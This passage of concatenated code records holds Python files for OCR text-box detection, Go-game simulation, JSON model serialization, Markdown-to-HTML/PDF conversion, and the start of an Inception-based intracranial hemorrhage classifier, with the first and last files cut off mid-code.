tmp_sphere=tmp_view.shape.add_sphere (point.position.tolist(),color,point.radius,point.name)\n        if point.svector is not None:\n            source_array=point.position\n            end_array=(point.position+arrow_norm*point.svector)\n            tmp_view.shape.add_arrow(source_array.tolist(),end_array.tolist(),color,arrow_radius)\n\n    if view_with_receptor:\n        tmp_receptor_file.close()\n        os.unlink(tmp_receptor_file.name)\n\n    if view_with_ligand:\n        tmp_ligand_file.close()\n        os.remove(tmp_ligand_file.name)\n\n    return tmp_view\n\ndef scatter_plot (self):\n\n    self.show = None\n\n    fig = plt.figure()\n    ax  = fig.add_subplot(111, projection='3d')\n    for point in self.points:\n            color=color_code[point[0]]\n            ax.scatter(point[1],point[2],point[3], color=color)\n\n    ax.set_xlabel('X Coordinates')\n    ax.set_ylabel('Y Coordinates')\n    ax.set_zlabel('Z Coordinates')\n    self.show = plt.show()\n\ndef plot_cliques ():\n    self.graph = None\n    options = {'node_color': color_code[G.nodes[node]['name']],\n           'node_size': 100,\n           'width': 1,\n           }\n    self.graph=nx.draw_spectral (G,**options)\n    print ('Number or Nodes:', G.number_of_nodes(),' ','Number of Edges:',G.number_of_edges ())\n","sub_path":"V_05/Code/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"512902033","text":"import numpy as np\nimport cv2\nimport math\n\n\n# unwarp coordinates\ndef warp_coord(min_v, pt):\n    out = np.matmul(min_v, (pt[0], pt[1], 1))\n    return np.array([out[0] / out[2], out[1] / out[2]])\n\n\ndef show_image(img, boxes=None, lines=None, contours=None, name='demo', windows=(1000, 1000), show=1):\n    if boxes is not None:\n        for b in boxes:\n            # print(b)\n            img = cv2.rectangle(img, (b[0], b[1]), (b[2], b[3]), (255, 0, 0), 1)\n    if lines is not None:\n        for li in lines:\n            li = li[0]\n            img = cv2.line(img, (li[0], li[1]), (li[2], li[3]), (255, 0, 0), 2, cv2.LINE_AA)\n\n    if contours is not None:\n        # img = cv2.drawContours(img, contours, -1, (0, 255, 0), 3)\n        img = cv2.drawContours(img, contours.astype(int), -1, (0, 255, 0), 2)\n\n    if show == 1:\n        cv2.namedWindow(name, cv2.WINDOW_NORMAL)\n        cv2.resizeWindow(name, windows[0], windows[1])\n        cv2.imshow(name, img)\n        cv2.waitKey(0)\n        cv2.destroyAllWindows()\n    return img\n\n\ndef height_spliter(element):\n    scale = 1.5\n    ignore_threshold = 15\n\n    list_element = list()\n    temp_element = list()\n    current_height = -1\n    for i, el in enumerate(element):\n        # print(el, len(temp_element))\n        if len(temp_element) == 0 and i == len(element)-1:\n            # print(\"start-end\", current_height)\n            temp_element.append(el)\n            list_element.append(temp_element)\n        elif len(temp_element) == 0:\n            # print(\"start\", current_height)\n            temp_element.append(el)\n            current_height = el[3]\n            # continue\n        elif i == len(element)-1:\n            # print(\"end\", current_height)\n            temp_element.append(el)\n            list_element.append(temp_element)\n        elif current_height < ignore_threshold and el[3] < ignore_threshold:\n            # print(\"small take\", current_height)\n            temp_element.append(el)\n            current_height = (len(temp_element)*current_height + el[3])/(len(temp_element)+1)\n            # continue\n        elif el[3] / current_height > scale and len(temp_element)>1:\n            # print(\"big sep\", current_height)\n            list_element.append(temp_element)\n            temp_element = list()\n            temp_element.append(el)\n            current_height = el[3]\n        elif current_height/el[3] > scale and current_height/element[i+1][3] > scale:\n            # print(\"small sep\", current_height)\n            list_element.append(temp_element)\n            temp_element = list()\n            temp_element.append(el)\n            current_height = el[3]\n        else:\n            temp_element.append(el)\n    return np.array(list_element)\n\n\ndef heat_spliter(segmap, k):\n    max_length = 10\n    break_chars = 5\n    n_labels, labels, stats, centroids = cv2.connectedComponentsWithStats(segmap.astype(np.uint8),\n                                                                          connectivity=4)\n    # print(k, n_labels, segmap.shape)\n    element = list()\n    x_coor = list()\n    for k1 in range(1, n_labels):\n        x, y = stats[k1, cv2.CC_STAT_LEFT], stats[k1, cv2.CC_STAT_TOP]\n        w, h = stats[k1, cv2.CC_STAT_WIDTH], stats[k1, cv2.CC_STAT_HEIGHT]\n        element.append([x, y, w, h])\n        x_coor.append(x)\n    element = np.array(element)\n    idx = np.argsort(x_coor)\n    # print(idx)\n    element = element[idx]\n\n    split_height = True\n    if split_height:\n        elements = height_spliter(element)\n    else:\n        elements = [element]\n\n    split_length = True\n    count = 0\n    sep_height_seg = list()\n    if split_length:\n        temp_elements = list()\n        for ele in elements:\n            if len(ele) > max_length:\n                temp_ele = [ele[x:x+break_chars] for x in range(0, len(ele), break_chars)]\n                temp_elements.extend(temp_ele)\n            else:\n                temp_elements.append(ele)\n        elements = temp_elements\n\n    for j, ele in enumerate(elements):\n        segmap_temp = np.zeros(segmap.shape, dtype=np.uint8)\n        for e in ele:\n            segmap_temp[labels == idx[count] + 1] = 255\n            count += 1\n        sep_height_seg.append(segmap_temp)\n        # cv2.imwrite(\"data/vis/\" + str(k) + \"sep\"+ str(j) +\".jpg\", segmap_temp)\n\n    return sep_height_seg\n\n\ndef get_det_boxes_core(text_map, link_map, text_threshold, link_threshold, low_text):\n    # prepare data\n    img_h, img_w = text_map.shape\n\n    # labeling method\n    ret, text_score = cv2.threshold(text_map, low_text, 1, 0)\n    ret, link_score = cv2.threshold(link_map, link_threshold, 1, 0)\n    text_score_comb = np.clip(text_score + link_score, 0, 1)\n    n_labels, labels, stats, centroids = cv2.connectedComponentsWithStats(text_score_comb.astype(np.uint8),\n                                                                          connectivity=4)\n    det = []\n    mapper = []\n    for k in range(1, n_labels):\n        # size filtering\n        size = stats[k, cv2.CC_STAT_AREA]\n        if size < 10:\n            continue\n\n        # thresholding\n        if np.max(text_map[labels == k]) < text_threshold:\n            continue\n\n        # make segmentation map\n        segmap = np.zeros(text_map.shape, dtype=np.uint8)\n        segmap[labels == k] = 255\n\n        segmap[np.logical_and(link_score == 1, text_score == 0)] = 0  # remove link area\n        x, y = stats[k, cv2.CC_STAT_LEFT], stats[k, cv2.CC_STAT_TOP]\n        w, h = stats[k, cv2.CC_STAT_WIDTH], stats[k, cv2.CC_STAT_HEIGHT]\n\n        niter = int(math.sqrt(size * min(w, h) / (w * h)) * 2)\n        sx, ex, sy, ey = x - niter, x + w + niter + 1, y - niter, y + h + niter + 1\n        # boundary check\n        if sx < 0:\n            sx = 0\n        if sy < 0:\n            sy = 0\n        if ex >= img_w:\n            ex = img_w\n        if ey >= img_h:\n            ey = img_h\n        kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (1 + niter, 1 + niter))\n\n        # cv2.imwrite(\"data/vis/\" + str(k) + \"crop.jpg\", segmap[sy:ey, sx:ex])\n\n        sep_seg = heat_spliter(segmap[sy:ey, sx:ex], k)\n        for seg in sep_seg:\n            temp_seg = segmap.copy()\n            temp_seg[sy:ey, sx:ex] = cv2.dilate(seg, kernel, iterations=1)\n            # make box\n            np_contours = np.roll(np.array(np.where(temp_seg != 0)), 1, axis=0).transpose().reshape(-1, 2)\n            # print(np_contours.shape)\n            # temp_seg = cv2.cvtColor(segmap,cv2.COLOR_GRAY2RGB)\n            # image = cv2.drawContours(temp_seg, [np_contours.astype(int)], -1, (0, 255, 0), 2)\n            # cv2.imwrite(\"data/vis/\" + str(k) + \"contour.jpg\", image)\n\n            rectangle = cv2.minAreaRect(np_contours)\n            box = cv2.boxPoints(rectangle)\n            # print(box)\n            # align diamond-shape\n            w, h = np.linalg.norm(box[0] - box[1]), np.linalg.norm(box[1] - box[2])\n            box_ratio = max(w, h) / (min(w, h) + 1e-5)\n            if abs(1 - box_ratio) <= 0.1:\n                l, r = min(np_contours[:, 0]), max(np_contours[:, 0])\n                t, b = min(np_contours[:, 1]), max(np_contours[:, 1])\n                box = np.array([[l, t], [r, t], [r, b], [l, b]], dtype=np.float32)\n\n            # make clock-wise order\n            start_idx = box.sum(axis=1).argmin()\n            box = np.roll(box, 4 - start_idx, 0)\n            box = np.array(box)\n\n            det.append(box)\n            mapper.append(k)\n\n    return det, labels, mapper\n\n\ndef get_poly_core(boxes, labels, mapper, link_map):\n    # configs\n    num_cp = 5\n    max_len_ratio = 0.7\n    expand_ratio = 1.45\n    max_r = 2.0\n    step_r = 0.2\n\n    polys = []\n    for k, box in enumerate(boxes):\n        # size filter for small instance\n        w, h = int(np.linalg.norm(box[0] - box[1]) + 1), int(np.linalg.norm(box[1] - box[2]) + 1)\n        if w < 30 or h < 30:\n            polys.append(None)\n            continue\n\n        # warp image\n        tar = np.float32([[0, 0], [w, 0], [w, h], [0, h]])\n        M = cv2.getPerspectiveTransform(box, tar)\n        word_label = cv2.warpPerspective(labels, M, (w, h), flags=cv2.INTER_NEAREST)\n        try:\n            min_v = np.linalg.inv(M)\n        except:\n            polys.append(None)\n            continue\n\n        # binarization for selected label\n        cur_label = mapper[k]\n        word_label[word_label != cur_label] = 0\n        word_label[word_label > 0] = 1\n\n        # Polygon generation\n        # find top/bottom contours\n        cp = []\n        max_len = -1\n        for i in range(w):\n            region = np.where(word_label[:, i] != 0)[0]\n            if len(region) < 2:\n                continue\n            cp.append((i, region[0], region[-1]))\n            length = region[-1] - region[0] + 1\n            if length > max_len:\n                max_len = length\n\n        # pass if max_len is similar to h\n        if h * max_len_ratio < max_len:\n            polys.append(None)\n            continue\n\n        # get pivot points with fixed length\n        tot_seg = num_cp * 2 + 1\n        seg_w = w / tot_seg  # segment width\n        pp = [None] * num_cp  # init pivot points\n        cp_section = [[0, 0]] * tot_seg\n        seg_height = [0] * num_cp\n        seg_num = 0\n        num_sec = 0\n        prev_h = -1\n        for i in range(0, len(cp)):\n            (x, sy, ey) = cp[i]\n            if (seg_num + 1) * seg_w <= x and seg_num <= tot_seg:\n                # average previous segment\n                if num_sec == 0:\n                    break\n                cp_section[seg_num] = [cp_section[seg_num][0] / num_sec, cp_section[seg_num][1] / num_sec]\n                num_sec = 0\n\n                # reset variables\n                seg_num += 1\n                prev_h = -1\n\n            # accumulate center points\n            cy = (sy + ey) * 0.5\n            cur_h = ey - sy + 1\n            cp_section[seg_num] = [cp_section[seg_num][0] + x, cp_section[seg_num][1] + cy]\n            num_sec += 1\n\n            if seg_num % 2 == 0:\n                continue  # No polygon area\n\n            if prev_h < cur_h:\n                pp[int((seg_num - 1) / 2)] = (x, cy)\n                seg_height[int((seg_num - 1) / 2)] = cur_h\n                prev_h = cur_h\n\n        # processing last segment\n        if num_sec != 0:\n            cp_section[-1] = [cp_section[-1][0] / num_sec, cp_section[-1][1] / num_sec]\n\n        # pass if num of pivots is not sufficient or segment width is smaller than character height\n        if None in pp or seg_w < np.max(seg_height) * 0.25:\n            polys.append(None)\n            continue\n\n        # calc median maximum of pivot points\n        half_char_h = np.median(seg_height) * expand_ratio / 2\n\n        # calc gradient and apply to make horizontal pivots\n        new_pp = []\n        for i, (x, cy) in enumerate(pp):\n            dx = cp_section[i * 2 + 2][0] - cp_section[i * 2][0]\n            dy = cp_section[i * 2 + 2][1] - cp_section[i * 2][1]\n            if dx == 0:  # gradient if zero\n                new_pp.append([x, cy - half_char_h, x, cy + half_char_h])\n                continue\n            rad = - math.atan2(dy, dx)\n            c, s = half_char_h * math.cos(rad), half_char_h * math.sin(rad)\n            new_pp.append([x - s, cy - c, x + s, cy + c])\n\n        # get edge points to cover character heatmaps\n        is_spp_found, is_epp_found = False, False\n        grad_s = (pp[1][1] - pp[0][1]) / (pp[1][0] - pp[0][0]) + (pp[2][1] - pp[1][1]) / (pp[2][0] - pp[1][0])\n        grad_e = (pp[-2][1] - pp[-1][1]) / (pp[-2][0] - pp[-1][0]) + (pp[-3][1] - pp[-2][1]) / (pp[-3][0] - pp[-2][0])\n        for r in np.arange(0.5, max_r, step_r):\n            dx = 2 * half_char_h * r\n            if not is_spp_found:\n                line_img = np.zeros(word_label.shape, dtype=np.uint8)\n                dy = grad_s * dx\n                p = np.array(new_pp[0]) - np.array([dx, dy, dx, dy])\n                cv2.line(line_img, (int(p[0]), int(p[1])), (int(p[2]), int(p[3])), 1, thickness=1)\n                if np.sum(np.logical_and(word_label, line_img)) == 0 or r + 2 * step_r >= max_r:\n                    spp = p\n                    is_spp_found = True\n            if not is_epp_found:\n                line_img = np.zeros(word_label.shape, dtype=np.uint8)\n                dy = grad_e * dx\n                p = np.array(new_pp[-1]) + np.array([dx, dy, dx, dy])\n                cv2.line(line_img, (int(p[0]), int(p[1])), (int(p[2]), int(p[3])), 1, thickness=1)\n                if np.sum(np.logical_and(word_label, line_img)) == 0 or r + 2 * step_r >= max_r:\n                    epp = p\n                    is_epp_found = True\n            if is_spp_found and is_epp_found:\n                break\n\n        # pass if boundary of polygon is not found\n        if not (is_spp_found and is_epp_found):\n            polys.append(None)\n            continue\n\n        # make final polygon\n        poly = [warp_coord(min_v, (spp[0], spp[1]))]\n        for p in new_pp:\n            poly.append(warp_coord(min_v, (p[0], p[1])))\n        poly.append(warp_coord(min_v, (epp[0], epp[1])))\n        poly.append(warp_coord(min_v, (epp[2], epp[3])))\n        for p in reversed(new_pp):\n            poly.append(warp_coord(min_v, (p[2], p[3])))\n        poly.append(warp_coord(min_v, (spp[2], spp[3])))\n\n        # add to final result\n        polys.append(np.array(poly))\n\n    return polys\n\n\ndef get_det_boxes(text_map, link_map, text_threshold, link_threshold, low_text, poly=False):\n    boxes, labels, mapper = get_det_boxes_core(text_map, link_map, text_threshold, link_threshold, low_text)\n\n    if poly:\n        polys = get_poly_core(boxes, labels, mapper, link_map)\n    else:\n        polys = [None] * len(boxes)\n\n    return boxes, polys\n\n\ndef adjust_result_coordinates(polys, ratio_w, ratio_h, ratio_net=2):\n    if len(polys) > 0:\n        polys = np.array(polys)\n        for k in range(len(polys)):\n            if polys[k] is not None:\n                polys[k] *= (ratio_w * ratio_net, ratio_h * ratio_net)\n    return polys\n","sub_path":"akaocr/engine/utils/heat_utils.py","file_name":"heat_utils.py","file_ext":"py","file_size_in_byte":13867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"649393412","text":"# -*- coding: utf-8 -*-\n\"\"\"\n.. module:: etfl\n   :platform: Unix, Windows\n   :synopsis: Expression and thermodynamics-based models\n\n.. moduleauthor:: Pierre Salvy\n\nJSON serialization\n\"\"\"\n\nimport json\n\nfrom .dict import model_from_dict, model_to_dict\nfrom pytfa.io.json import MyEncoder, check_json_extension\n\ndef save_json_model(model, filepath):\n\n    filepath = check_json_extension(filepath)\n    obj = model_to_dict(model)\n\n    with open(filepath, 'w') as fid:\n        json.dump(obj, fid, cls=MyEncoder)\n\n\ndef load_json_model(filepath, solver = None):\n\n    filepath = check_json_extension(filepath)\n    with open(filepath, 'r') as fid:\n        obj = json.load(fid)\n\n    model = model_from_dict(obj, solver=solver)\n    return model\n","sub_path":"etfl/io/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"219293408","text":"from cython_go_engine import GoEngine\nfrom cython_multi_go_engine import main\nimport numpy as np\nimport time\nfrom multiprocessing import Process\n\nclass MultiGoEngine(object):\n\n    # 5. make moves\n    # 6. remove inactive games\n    # 6. get board state tensor\n    # 7. return state tensor\n\n    def __init__(self, num_games=100):\n        self.num_games = num_games\n        self.active_games = []\n        self.games = {}\n        self.move_tensor = None\n        self.generate_game_objects()\n\n        ##########################\n        # Main Game Step Methods #\n        ##########################\n\n    def take_game_step(self, move_tensor):\n\n        self.input_move_tensor(move_tensor)\n\n        self.remove_invalid_moves()\n\n        self.make_moves()\n\n        self.remove_inactive_games()\n\n        return self.get_game_states()\n\n    def input_move_tensor(self, move_tensor):\n        self.move_tensor = move_tensor\n\n    def remove_invalid_moves(self):\n\n        # clear move tensor\n        self.invalid_move_tensor = []\n        # start pool thread\n\n        processes = []\n        for game in self.active_games:\n            p = Process(target=self.get_single_invalid_move, args=game)\n            p.start()\n            processes.append(p)\n\n        for p in processes:\n            p.join()\n\n        self.move_tensor[:,0:81] = self.move_tensor[:,0:81] - np.concatenate(self.invalid_move_tensor)\n\n    def get_single_invalid_move(self, game):\n        return self.invalid_move_tensor.append(self.games[game].get_invalid_moves())\n\n    def make_moves(self):\n\n        # choose move based on weighted probability\n        # check to see if move is pass or not\n        # if pass, pass\n        # else: make move\n        processes = []\n        for game in self.active_games:\n            p = Process(target=self.make_single_move, args=game)\n            p.start()\n            processes.append(p)\n\n        for p in processes:\n            p.join()\n\n\n    def make_single_move(self, input):\n        num, game = input[0], input[1]\n        moves = list(range(82))\n        move = np.random.choice(moves, p=self.move_tensor[num][0:82]/np.sum(self.move_tensor[num][0:82]))\n\n        if move == 81:\n            self.games[game].make_pass_move()\n\n        else:\n            self.games[game].make_move([move//9, move%9])\n\n\n\n    def get_active_game_states(self):\n        states_tensor = []\n        for game in self.active_games:\n            states_tensor.append(self.games[game].get_board_tensor())\n        return np.concatenate(states_tensor)\n\n    def get_all_game_states(self):\n        states_tensor = []\n        for i in range(self.num_games):\n            states_tensor.append(self.games[\"G\"+str(i)].get_board_tensor())\n        return np.concatenate(states_tensor)\n\n    def remove_inactive_games(self):\n\n        for game in self.active_games:\n            if self.games[game].is_playing == False:\n                self.active_games.remove(game)\n\n        #######################\n        # Misc Engine Methods #\n        #######################\n\n    def generate_game_objects(self):\n        for i in range(self.num_games):\n            self.games[\"G\"+str(i)] = GoEngine()\n            self.active_games.append(\"G\"+str(i))\n\n    def reset_games(self):\n        for i in range(self.num_games):\n            self.games[\"G\"+str(i)].new_game()\n\ndef main_two():\n    n = 2000\n    mge = MultiGoEngine(num_games=n)\n    mge.move_tensor = np.ones([n, 83])\n    t = time.time()\n    mge.get_active_game_states()\n    mge.remove_invalid_moves()\n    mge.make_moves()\n    mge.remove_inactive_games()\n    print(\"Game Step Time:\", round(time.time()-t, 3), \"s\")\n\n\nif __name__ == \"__main__\":\n    main_two()\n","sub_path":"depreciated/go_engine/threaded_multi_go_engine.py","file_name":"threaded_multi_go_engine.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"450554861","text":"#!/usr/bin/python\nimport sys\nimport markdown2\nimport os\nimport string\nimport re\n\nfrom pygments.lexers.asm import CppLexer\nimport os.path\nfrom pygments.lexers.agile import PythonLexer\nfrom pygments.lexers.jvm import JavaLexer\nimport pygments\nfrom pygments.formatters.html import HtmlFormatter\nfrom BeautifulSoup import *\nimport shutil\nreload(sys)\nsys.setdefaultencoding('utf-8')\nnohl = False\ncodehl=\"default\"\ndef rev2html(str, path, filename):\n    title = '''<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"utf-8\">\n<title>\n'''\n    html = '''</title>\n<link rel=\"stylesheet\" href=\"file:///usr/local/Cellar/wkhtmltox/css/base.css\" />\n</head>\n<body><div class=\"container\">\n'''\n    end = '''\n</div></body>\n</html>'''\n    filenext = os.path.splitext(filename)\n    file = open(path + '/' + filenext[0] + '.html', 'w+')\n    file.writelines(title)\n    file.write(filenext[0])\n    file.writelines(html)\n    file.writelines(str)\n    file.writelines(end)\n    file.close()\n\n\n\ndef rev2pdf(str, path, filename):\n    title = '''<html>\n<head>\n<meta charset=\"utf-8\">\n<title>\n'''\n    html = '''</title>\n<link rel=\"stylesheet\" href=\"http://localhost:880/base.css\" />\n</head>\n<body class=\"container\">\n'''\n    end = '''</body>\n</html>'''\n    filenext = os.path.splitext(filename)\n    file = open(path + '/' + filenext[0] + '.html.html', 'w+')\n    file.writelines(title)\n    file.write(filenext[0])\n    file.writelines(html)\n    file.writelines(str)\n    file.writelines(end)\n    file.close()\n    print('/usr/local/Cellar/wkhtmltox/bin/wkhtmltopdf --margin-top 25mm --margin-left 20mm --margin-right 20mm --margin-bottom 20mm ' \\\n              + path + '/' + filenext[0] + '.html.html ' \\\n              + path + '/' + filenext[0] + 'pdf')\n    os.system('/usr/local/Cellar/wkhtmltox/bin/wkhtmltopdf --margin-top 25mm --margin-left 20mm --margin-right 20mm --margin-bottom 20mm ' \\\n              + path + '/' + filenext[0] + '.html.html ' \\\n              + path + '/' + filenext[0] + '.pdf')\n    os.remove(path + '/' + filenext[0] + '.html.html')\n\ndef pretreat(fi):\n    with open(fi) as fd:\n        test = False;\n        str = ''\n        for lines in fd:\n            if test:\n                lines = '\\t' + lines\n            if \"```\" in lines:\n                test = ~test\n                lines = '\\n'\n            else:\n                if not test:\n                    if '#' in lines:\n                        lines = lines + '\\n'\n            str = str + lines\n    return str\ndef change(code):\n    code = code.replace('&lt;', 'kdhfgkjdshfjghd')\n    code = code.replace('&gt;', 'oaakjsadhfkjdsh')\n    lex = pygments.lexers.guess_lexer(code)\n    if codehl == 'python':\n        lex = PythonLexer()\n    if codehl[0] is 'c':\n        lex = CppLexer()\n    if codehl == 'java':\n        lex = JavaLexer()\n    code = pygments.highlight(code, lex, HtmlFormatter())\n    code = code[code.find('<pre>') + 5: code.find('</pre>')]\n    code = code.replace('kdhfgkjdshfjghd', '&lt;')\n    code = code.replace('oaakjsadhfkjdsh', '&gt;')\n    return '<code>' + code + '</code>'\n\ndef htmlresove(str):\n    soup = BeautifulSoup(str)\n    for codes in soup.findAll('code'):\n        codes.replaceWith(BeautifulSoup(change(codes.text)))\n    return unicode(soup)\n\n\n\nfor i in range(1 ,len(sys.argv)):\n    if  '-nohl' in sys.argv[i]:\n        nohl = True\n    if  '-' in sys.argv[i]:\n        if  'nohl' not in sys.argv[i]:\n            codehl = sys.argv[i].replace('-' ,'')\n            codehl = codehl.lower()\n\nfor i in range(1 ,len(sys.argv)):\n    if  '-' == sys.argv[i][0]:\n        continue\n    str = pretreat(sys.argv[i])\n    str = markdown2.markdown(str, extras=[\"footnotes\"])\n    if nohl is False:\n        str = htmlresove(str)\n    rev2html(str ,'.', os.path.split(sys.argv[i])[1])\n\n","sub_path":"md2html.py","file_name":"md2html.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"242008352","text":"import cv2\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score, roc_auc_score, f1_score\r\nimport torch\r\nimport torch.nn as nn\r\nimport numpy as np\r\nimport torch.optim as optim\r\nfrom torchvision import models\r\nfrom PIL import Image\r\nfrom torchvision import transforms, datasets\r\nfrom torch.utils import data\r\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\r\nimport pydicom\r\nimport torch.nn.functional as F\r\nimport torchvision\r\nfrom torchvision import models\r\nimport os\r\n#-----------------------------------------------------\r\n# We check if avalilability of a gpu procesor\r\n#-----------------------------------------------------\r\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n#-----------------------------------------------------\r\n# Image Dir & File dir\r\n#-----------------------------------------------------\r\n\r\nIMAGE_DIR = '/home/ubuntu/dataproject/rsna-intracranial-hemorrhage-detection/stage_2_train/'\r\nFILE_DIR = '/home/ubuntu/dataproject/rsna-intracranial-hemorrhage-detection/'\r\n\r\n## ----- General Parameters ------------------------- ###\r\n\r\nBATCH_SIZE = 50\r\nMAX_EPOCHS = 20\r\nPRINT_LOSS_EVERY = 1\r\nLR = 0.001\r\nEARLY_STOPPING = 1   # 0 No early stoppint 1 Yes early stopping\r\nMAX_NO_IMPROVEMENT = 7\r\nIMAGE_SIZE = 299\r\nMETRICS_DIR = os.getcwd() + '/model3metrics/'\r\n\r\n\r\n## -------------------------------------------------\r\n## We create the dataloaders to feed the network\r\n## The information in the train and test tensors(cpu)\r\n## are taken in batches and tranformed to gpu\r\n## because this they are transformed in batches the dataloder\r\n## uses less gpu memory\r\n## ---------------------------------------------------\r\n\r\n\r\n### Helper functions they obtain the different....\r\n### From Kaggle Notebook\r\n\r\ndef window_image(img, window_center, window_width, intercept, slope):\r\n img = (img * slope + intercept)\r\n img_min = window_center - window_width // 2\r\n img_max = window_center + window_width // 2\r\n img[img < img_min] = img_min\r\n img[img > img_max] = img_max\r\n return img\r\n\r\n\r\ndef get_first_of_dicom_field_as_int(x):\r\n    # get x[0] as in int is x is a 'pydicom.multival.MultiValue', otherwise get int(x)\r\n    if type(x) == pydicom.multival.MultiValue:\r\n        return int(x[0])\r\n    else:\r\n        return int(x)\r\n\r\n\r\ndef get_windowing(data):\r\n    dicom_fields = [data[('0028', '1050')].value,  # window center\r\n                    data[('0028', '1051')].value,  # window width\r\n                    data[('0028', '1052')].value,  # intercept\r\n                    data[('0028', '1053')].value]  # slope\r\n    return [get_first_of_dicom_field_as_int(x) for x in dicom_fields]\r\n\r\n\r\n### -----------Definition of Dataset -------- ###\r\nclass Dataset(data.Dataset):\r\n    '''\r\n    From : https://stanford.edu/~shervine/blog/pytorch-how-to-generate-data-parallel\r\n    '''\r\n    def __init__(self, list_IDs, label):\r\n        #Initialization'\r\n        self.label = label\r\n        self.list_IDs = list_IDs\r\n\r\n    def __len__(self):\r\n        #Denotes the total number of samples'\r\n        return len(self.list_IDs)\r\n\r\n\r\n    def __getitem__(self, index):\r\n        #Generates one sample of data'\r\n        # Select sample\r\n        ID = self.list_IDs[index]\r\n\r\n        # Load data and get label\r\n\r\n        if self.label == 1:\r\n\r\n            y = y_train[ID]\r\n            y = torch.FloatTensor(y)\r\n\r\n            file = IMAGE_DIR + X_train[ID]\r\n            data = pydicom.read_file(file)\r\n            img = np.array(data.pixel_array)\r\n\r\n        else :\r\n            y = y_test[ID]\r\n            y = torch.FloatTensor(y)\r\n\r\n            file = IMAGE_DIR + X_test[ID]\r\n            data = pydicom.read_file(file)\r\n            img = np.array(data.pixel_array)\r\n\r\n\r\n\r\n        window_center, window_width, intercept, slope = get_windowing(data)\r\n\r\n        img1 = window_image(img, 40, 80, intercept, slope)\r\n        img2 = window_image(img, 80, 200, intercept, slope)\r\n\r\n        # Original Image\r\n\r\n        R0= cv2.resize(img,(IMAGE_SIZE, IMAGE_SIZE))\r\n        R0 = R0.reshape(IMAGE_SIZE,IMAGE_SIZE)\r\n        R0 = R0.astype('float16')\r\n\r\n        # Brain Window\r\n\r\n        R1= cv2.resize(img,(IMAGE_SIZE, IMAGE_SIZE))\r\n        R1 = R1.reshape(IMAGE_SIZE,IMAGE_SIZE)\r\n        R1 = R1.astype('float16')\r\n\r\n        # Subdural Window\r\n\r\n        R2 = cv2.resize(img, (IMAGE_SIZE, IMAGE_SIZE))\r\n        R2 = R2.reshape(IMAGE_SIZE, IMAGE_SIZE)\r\n        R2 = R2.astype('float16')\r\n\r\n        img3 = np.zeros((R0.shape[0], R0.shape[1], 3))\r\n        img3[:, :, 0] = R0  # Original Image\r\n        img3[:, :, 1] = R1  # Brain Window\r\n        img3[:, :, 2] = R2  # Subdural Window\r\n\r\n        X = torch.FloatTensor(img3)\r\n        X = X.permute(2,0,1)\r\n\r\n        return X, y\r\n\r\n#---- Define the model ---- #\r\n\r\nclass Net(nn.Module):\r\n    def __init__(self):\r\n\r\n        \"\"\"Load the pretrained model and replace last top layers\"\"\"\r\n\r\n        super(Net, self).__init__()\r\n\r\n        pre= models.inception_v3(pretrained=True)\r\n        # Freeze model weights\r\n        for param in pre.parameters():\r\n            param.requires_grad = False\r\n\r\n        n_inputs = pre.fc.in_features\r\n        n_inputsaux =  pre.AuxLogits.fc.in_features\r\n\r\n        pre.fc = nn.Sequential(\r\n            nn.Linear(n_inputs, 2000),\r\n            nn.ReLU(inplace=True),\r\n            nn.Dropout(0.4),\r\n            nn.BatchNorm1d(2000),\r\n        )\r\n\r\n        pre.AuxLogits.fc =  nn.Linear(n_inputsaux, 6)\r\n\r\n        self.firstlayers = pre\r\n\r\n        self.fc1 = nn.Sequential(\r\n            nn.Linear(2000, 1500),\r\n            nn.ReLU(inplace=True),\r\n            nn.Dropout(0.4),\r\n            nn.BatchNorm1d(1500),\r\n            nn.Linear(1500, 1500),\r\n            nn.ReLU(inplace=True),\r\n            nn.Dropout(0.4),\r\n            nn.BatchNorm1d(1500),\r\n            nn.Linear(1500, 1000),\r\n            nn.ReLU(inplace=True),\r\n            nn.BatchNorm1d(1000),\r\n            nn.Linear(1000, 1000),\r\n            nn.ReLU(inplace=True),\r\n            nn.BatchNorm1d(1000),\r\n            nn.Linear(1000, 1000),\r\n            nn.ReLU(inplace=True),\r\n            nn.BatchNorm1d(1000),\r\n            nn.Linear(1000, 1000),\r\n            nn.ReLU(inplace=True),\r\n            nn.BatchNorm1d(1000),\r\n            nn.Linear(1000, 1000),\r\n            nn.ReLU(inplace=True),\r\n            nn.BatchNorm1d(1000),\r\n            nn.Linear(1000, 1000),\r\n            nn.ReLU(inplace=True),\r\n            nn.BatchNorm1d(1000),\r\n            nn.Linear(1000, 800),\r\n            nn.ReLU(),\r\n            nn.BatchNorm1d(800),\r\n            nn.Linear(800, 800),\r\n            nn.ReLU(),\r\n        )\r\n\r\n        self.fc2 = nn.Sequential(\r\n            nn.Linear(800, 600),\r\n            nn.ReLU(),\r\n            nn.BatchNorm1d(600),\r\n            nn.Linear(600, 400),\r\n            nn.ReLU(),\r\n            nn.Linear(400, 300),\r\n            nn.ReLU(),\r\n            nn.BatchNorm1d(300),\r\n            nn.Linear(300, 200),\r\n            nn.ReLU(),\r\n            nn.BatchNorm1d(200),\r\n            nn.Linear(200, 100),\r\n            nn.ReLU(),\r\n            nn.Linear(100, 50),\r\n            nn.ReLU(),\r\n            nn.Linear(50, 6),\r\n            nn.Sigmoid()\r\n        )\r\n\r\n        # Spatial transformer localization-network\r\n        self.localization = nn.Sequential(\r\n            nn.Conv2d(3, 8, kernel_size=20),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(8, 10, kernel_size=15, padding=1),\r\n            